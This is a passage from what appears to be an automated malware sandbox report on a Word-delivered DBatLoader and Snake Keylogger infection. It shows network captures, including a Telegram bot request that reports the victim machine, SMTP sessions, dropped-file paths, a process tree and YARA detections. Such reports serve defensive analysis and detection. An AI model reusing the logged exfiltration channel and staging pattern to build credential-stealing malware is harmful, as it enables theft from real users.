cfL4;desc="?proto=TCP&rtt=1732&min_rtt=1673&rtt_var=670&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1745367&cwnd=248&unsent_bytes=0&cid=feebd3ea2ac23dbe&ts=142&x=0"
2025-01-06 06:54:37 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	53756	188.114.97.3	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:38 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:39 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:39 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461268 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wH2Z8pmvX5OoF8p9DWGHLkiZbHNz%2BDlnv2ja8il%2BYcC%2B8fby2zRWb9vPgyeleuYLyGNM8N8EQzVJUzt%2BIp27vOR0A7mD1RMo6ItZVt%2BPAqBD9F1d2E6MsIIbdUVMw1YyUruh6GyO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc461be1f5f6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1917&min_rtt=1728&rtt_var=783&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1689814&cwnd=183&unsent_bytes=0&cid=f3e86d2c83e8359c&ts=159&x=0"
2025-01-06 06:54:39 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	53765	188.114.97.3	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:40 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:40 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:40 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461269 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wAGFjnigq4h96PEHyn3P4zfl9ERUX%2BNdohUj7jj4UYjsaHnZiL6j6%2FSJhneeHbUWqEhXvc%2BAwqT0uaastaefh09vUF8czWR90Jh%2B%2FoC8YRGAX6Z5nY3lTN2ub1lMZnKjBWJb77lz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc4fbea20f8b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1491&min_rtt=1466&rtt_var=601&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1746411&cwnd=237&unsent_bytes=0&cid=e17bff394173b75d&ts=287&x=0"
2025-01-06 06:54:40 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	53779	188.114.97.3	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:41 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:42 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:42 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461271 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OtcwuwTBwCZsEmqSII829OD1JqC90AbTTYV%2F9R5SfmlpKpvyi7UhHSyxPbLZZl1sf%2BRwVIENwZjJzA5xHGZi5j5faNi25czo9H1cIP3GmPphtPMiceDvy9WsQmjtkSOF%2BrxTUCbP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc587ce08c7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1820&min_rtt=1817&rtt_var=688&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1581798&cwnd=186&unsent_bytes=0&cid=a3e398f1ee5ee832&ts=146&x=0"
2025-01-06 06:54:42 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	53788	188.114.97.3	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:43 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:43 UTC	853	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:43 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461272 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ncEgBZHixXWCIlPY9ILupq35uFU4agmlhLDFTYbv6YiagDpzMQgNu%2Fngv3ycw%2FIr6N7nQqs10PC6AqN5TA7g6oVxjc2AQAoWpE4lB4KjGHzmvTYJ07G1uhD3L9TnmCCMzOvlIm1d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cc613f12ef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1946&min_rtt=1942&rtt_var=737&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1476985&cwnd=134&unsent_bytes=0&cid=71241cbe5681076e&ts=157&x=0"
2025-01-06 06:54:43 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	53795	149.154.167.220	443	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:44 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2014:38:51%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-06 06:54:44 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 06:54:44 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 06:54:44 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 6, 2025 07:54:33.341274977 CET	587	53704	208.91.198.176	192.168.2.5	220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 01/06/25 06:54:33
Jan 6, 2025 07:54:33.341594934 CET	53704	587	192.168.2.5	208.91.198.176	EHLO 675052
Jan 6, 2025 07:54:33.491071939 CET	587	53704	208.91.198.176	192.168.2.5	250-PLESK-WEB15.webhostbox.net [8.46.123.189], this server offers 5 extensions 250-AUTH NTLM CRAM-MD5 LOGIN 250-SIZE 31457280 250-HELP 250-AUTH=LOGIN 250 STARTTLS
Jan 6, 2025 07:54:33.491281033 CET	53704	587	192.168.2.5	208.91.198.176	STARTTLS
Jan 6, 2025 07:54:33.648866892 CET	587	53704	208.91.198.176	192.168.2.5	220 Ready to start TLS
Jan 6, 2025 07:54:43.715552092 CET	587	53793	208.91.198.176	192.168.2.5	220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 01/06/25 06:54:43
Jan 6, 2025 07:54:43.715877056 CET	53793	587	192.168.2.5	208.91.198.176	EHLO 675052
Jan 6, 2025 07:54:43.863943100 CET	587	53793	208.91.198.176	192.168.2.5	250-PLESK-WEB15.webhostbox.net [8.46.123.189], this server offers 5 extensions 250-AUTH NTLM CRAM-MD5 LOGIN 250-SIZE 31457280 250-HELP 250-AUTH=LOGIN 250 STARTTLS
Jan 6, 2025 07:54:43.864168882 CET	53793	587	192.168.2.5	208.91.198.176	STARTTLS
Jan 6, 2025 07:54:44.022413015 CET	587	53793	208.91.198.176	192.168.2.5	220 Ready to start TLS
Jan 6, 2025 07:54:50.854343891 CET	587	53841	208.91.198.176	192.168.2.5	220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 01/06/25 06:54:50
Jan 6, 2025 07:54:50.854557991 CET	53841	587	192.168.2.5	208.91.198.176	EHLO 675052
Jan 6, 2025 07:54:51.000725985 CET	587	53841	208.91.198.176	192.168.2.5	250-PLESK-WEB15.webhostbox.net [8.46.123.189], this server offers 5 extensions 250-AUTH NTLM CRAM-MD5 LOGIN 250-SIZE 31457280 250-HELP 250-AUTH=LOGIN 250 STARTTLS
Jan 6, 2025 07:54:51.000953913 CET	53841	587	192.168.2.5	208.91.198.176	STARTTLS
Jan 6, 2025 07:54:51.155625105 CET	587	53841	208.91.198.176	192.168.2.5	220 Ready to start TLS

Target ID:	0
Start time:	01:53:55
Start date:	06/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x420000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:54:02
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\brightness.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\brightness.exe
Imagebase:	0x400000
File size:	1'161'216 bytes
MD5 hash:	6047499517804F1EA76B508CA469DE99
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000007.00000002.2166181878.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000007.00000002.2130519568.00000000020F6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:54:06
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:54:06
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:54:06
Start date:	06/01/2025
Path:	C:\Users\Public\Libraries\jphwmyiA.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\jphwmyiA.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3761815034.00000000221C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.3761815034.00000000221C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000A.00000002.3731530309.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000A.00000001.2128731771.0000000000C20000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000A.00000001.2128731771.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	01:54:17
Start date:	06/01/2025
Path:	C:\Users\Public\Libraries\Aiymwhpj.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Aiymwhpj.PIF"
Imagebase:	0x400000
File size:	1'161'216 bytes
MD5 hash:	6047499517804F1EA76B508CA469DE99
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:54:18
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 7768, Parent PID: 7760

General

Target ID:	14
Start time:	01:54:18
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:54:18
Start date:	06/01/2025
Path:	C:\Users\Public\Libraries\jphwmyiA.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\jphwmyiA.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, 